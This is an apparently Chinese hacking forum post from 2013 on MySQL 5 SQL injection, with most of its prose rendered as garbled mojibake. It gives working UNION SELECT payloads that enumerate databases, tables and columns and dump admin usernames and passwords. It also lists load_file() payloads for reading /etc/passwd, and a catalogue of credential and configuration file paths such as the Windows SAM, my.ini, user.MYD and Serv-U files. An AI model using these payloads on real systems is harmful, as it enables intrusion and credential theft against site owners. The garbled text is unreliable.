admin ·¢±íÓÚ 2013-3-7 13:24:00

mysql5.0×¢ÈëÔ­Àí

¼ÇµÃ֮ǰ԰³¤Ëµ²»ÖªµÀMYSQL5.0ÒÔÉϵÄIFORMATION_SCHEMA±íµÄ½á¹¹¾Í˵×Ô¼º¶®µÃ×¢ÈëµÄÊǺÜɵ±ÆµÄÊÂÇé¡£ÓÚÊÇÁ˽âÁËÒ»·¬¡£



Mysql5ÄÚÖõÄϵͳÊý¾Ý¿âIFORMATION_SCHEMA,Æä½á¹¹ÈçMSSQLÖеÄmasterÊý¾Ý¿â£¬Æä
ÖмǼÁËMysqlÖÐËùÓÐ
´æÔÚÊý¾Ý¿âÃû¡¢Êý¾Ý¿â±í¡¢±í×ֶΡ£ÖصãÒªÇóÑо¿¼¸¸ö¶ÔSQL×¢ÈëÓÐÓõÄÊý¾Ý±í˵
Ã÷¡£
1.µÃµ½ËùÓÐÊý¾Ý¿âÃû£º
|SCHEMATA ->´æ´¢Êý¾Ý¿âÃûµÄ±í
|¡ª×ֶΣºSCHEMA_NAME ->Êý¾Ý¿âÃû³Æ

|TABLES ->´æ´¢±íÃû
|¡ª×ֶΣºTABLE_SCHEMA ->±íʾ¸Ã±íÃûÊôÓÚÄĸöÊý¾Ý¿âÃû
|¡ª×ֶΣºTABLE_NAME ->´æ´¢±íµÄ±íÃû

|COLUMNS ->´æ´¢µÄ×Ö¶ÎÃû±í
|¡ª×ֶΣºTABLE_SCHEMA ->¸Ã×Ö¶ÎËùÊôÊý¾Ý¿âÃû
|¡ª×ֶΣºTABLE_NAME ->´æ´¢ËùÊô±íµÄÃû³Æ

|¡ª×ֶΣºCOLUMN_NAME ->¸Ã×ֶεÄÃû³Æ

#########################################################################
##

0¡Á001 »ñȡϵͳÐÅÏ¢:

union select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*

@@global.version_compile_os »ñȡϵͳ°æ±¾

@@datadir Êý¾Ý¿â·¾¶
database() µ±Ç°Êý¾Ý¿âÃû³Æ
0x3c62723e »»ÐÐHEXÖµ

*/

######################################################################

0¡Á002 »ñÈ¡±íÃû

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*

/*

0x67617264656e Ϊµ±Ç°Êý¾Ý¿âÃû

group_concat(table_name) ʹÓÃgroup_concatº¯Êý Ò»²½»ñµÃ¸Ã¿âËùÓбíÃû

*/

######################################################################

0¡Á003 »ñÈ¡×Ö¶Î

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x61646d696e and


table_schema=0x67617264656e limit 1 /*

/*

group_concat(column_name) ͬÑùÊÇ Ò»¿ÚÆø »ñµÃ¸Ã±í£¨0x61646d696e£©ËùÓÐ×Ö¶Î

0x61646d696e ->Ñ¡ÔñÒ»¸ö±í

0x67617264656e ->Êý¾Ý¿âÃû

*/

#####################################################################

0¡Á004 »ñÈ¡Êý¾Ý

union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin

/*

0x3c62723e »»ÐзûºÅHEX±àÂë

group_concat ͬʱ»ñµÃ¸Ã×Ö¶ÎËùÓÐÊý¾Ý

*/





˳±ãÌí¼ÓһЩmysql×¢Èëʱ·Ç³£ÓÐÓõÄһЩ¶«Î÷

¼òµ¥½éÉÜMysql×¢ÈëÖÐÓõ½µÄһЩº¯ÊýµÄ×÷Óã¬ÀûÓÃËüÃÇ¿ÉÒÔÅжϵ±Ç°Óû§È¨ÏÞ£¨RootΪ×î¸ß£¬Ï൱ÓÚMSSQLÖеÄSA£©¡¢Êý¾Ý¿â°æ±¾¡¢Êý¾Ý¿â·¾¶¡¢¶ÁÈ¡Ãô¸ÐÎļþ¡¢ÍøÕ¾Ä¿Â¼Â·¾¶µÈµÈ¡£

1:system_user() ϵͳÓû§Ãû
2:user()      Óû§Ãû
3:current_user()µ±Ç°Óû§Ãû
4:session_user()Á¬½ÓÊý¾Ý¿âµÄÓû§Ãû
5:database()    Êý¾Ý¿âÃû
6:version()   MYSQLÊý¾Ý¿â°æ±¾
7:load_file()   MYSQL¶ÁÈ¡±¾µØÎļþµÄº¯Êý
8:@@datadir   ¶ÁÈ¡Êý¾Ý¿â·¾¶
9:@@basedir    MYSQL °²×°Â·¾¶
10:@@version_compile_os   ²Ù×÷ϵͳWindows Server 2003,
ÊÕ¼¯µÄһЩ·¾¶£º
WINDOWSÏÂ:
c:/boot.ini          //²é¿´ÏµÍ³°æ±¾
c:/windows/php.ini   //phpÅäÖÃÐÅÏ¢
c:/windows/my.ini    //MYSQLÅäÖÃÎļþ£¬¼Ç¼¹ÜÀíÔ±µÇ½¹ýµÄMYSQLÓû§ÃûºÍÃÜÂë
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD//´æ´¢ÁËmysql.user±íÖеÄÊý¾Ý¿âÁ¬½ÓÃÜÂë
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini//´æ´¢ÁËÐéÄâÖ÷»úÍøÕ¾Â·¾¶ºÍÃÜÂë
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml//IISÅäÖÃÎļþ
c:\windows\repair\sam//´æ´¢ÁËWINDOWSϵͳ³õ´Î°²×°µÄÃÜÂë
c:\Program Files\ Serv-U\ServUAdmin.exe//6.0°æ±¾ÒÔǰµÄserv-u¹ÜÀíÔ±ÃÜÂë´æ´¢ÓÚ´Ë
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cifÎļþ
//´æ´¢ÁËpcAnywhereµÄµÇ½ÃÜÂë
c:\Program Files\Apache Group\Apache\conf \httpd.conf »òC:\apache\conf \httpd.conf //²é¿´   WINDOWSϵͳapacheÎļþ
c:/Resin-3.0.14/conf/resin.conf   //²é¿´jsp¿ª·¢µÄÍøÕ¾ resinÎļþÅäÖÃÐÅÏ¢.


c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf ²é¿´linuxϵͳÅäÖõÄJSPÐéÄâÖ÷»ú
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml ²é¿´IISµÄÐéÄâÖ÷»úÅäÖÃ
C:\mysql\data\mysql\user.MYD ´æÔÚMYSQLϵͳÖеÄÓû§ÃÜÂë

LUNIX/UNIXÏÂ:
/usr/local/app/apache2/conf/httpd.conf //apache2ȱʡÅäÖÃÎļþ
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //ÐéÄâÍøÕ¾ÉèÖÃ
/usr/local/app/php5/lib/php.ini //PHPÏà¹ØÉèÖÃ
/etc/sysconfig/iptables //´ÓÖеõ½·À»ðǽ¹æÔò²ßÂÔ
/etc/httpd/conf/httpd.conf // apacheÅäÖÃÎļþ
/etc/rsyncd.conf //ͬ²½³ÌÐòÅäÖÃÎļþ
/etc/my.cnf //mysqlµÄÅäÖÃÎļþ
/etc/redhat-release //ϵͳ°æ±¾
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHPÏà¹ØÉèÖÃ
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //ÐéÄâÍøÕ¾ÉèÖÃ
/etc/httpd/conf/httpd.conf»ò/usr/local/apche/conf/httpd.conf ²é¿´linux APACHEÐéÄâÖ÷»úÅäÖÃÎļþ
/usr/local/resin-3.0.22/conf/resin.confÕë¶Ô3.0.22µÄRESINÅäÖÃÎļþ²é¿´
/usr/local/resin-pro-3.0.22/conf/resin.conf ͬÉÏ
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHEÐéÄâÖ÷»ú²é¿´
/etc/httpd/conf/httpd.conf»ò/usr/local/apche/conf/httpd.conf ²é¿´linux APACHEÐéÄâÖ÷»úÅäÖÃÎļþ
/usr/local/resin-3.0.22/conf/resin.confÕë¶Ô3.0.22µÄRESINÅäÖÃÎļþ²é¿´
/usr/local/resin-pro-3.0.22/conf/resin.conf ͬÉÏ
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHEÐéÄâÖ÷»ú²é¿´
/etc/sysconfig/iptables ²é¿´·À»ðǽ²ßÂÔ
load_file(char(47)) ¿ÉÒÔÁгöFreeBSD,Sunosϵͳ¸ùĿ¼
replace(load_file(0x2F6574632F706173737764),0x3c,0¡Á20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
ÉÏÃæÁ½¸öÊDz鿴һ¸öPHPÎļþÀïÍêÈ«ÏÔʾ´úÂë.ÓÐЩʱºò²»Ì滻һЩ×Ö·û,Èç ¡°<¡± Ìæ»»³É¡±¿Õ¸ñ¡± ·µ»ØµÄÊÇÍøÒ³.¶øÎÞ·¨²é¿´µ½´úÂë.

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²é¿´ÍêÕû°æ±¾: mysql5.0×¢ÈëÔ­Àí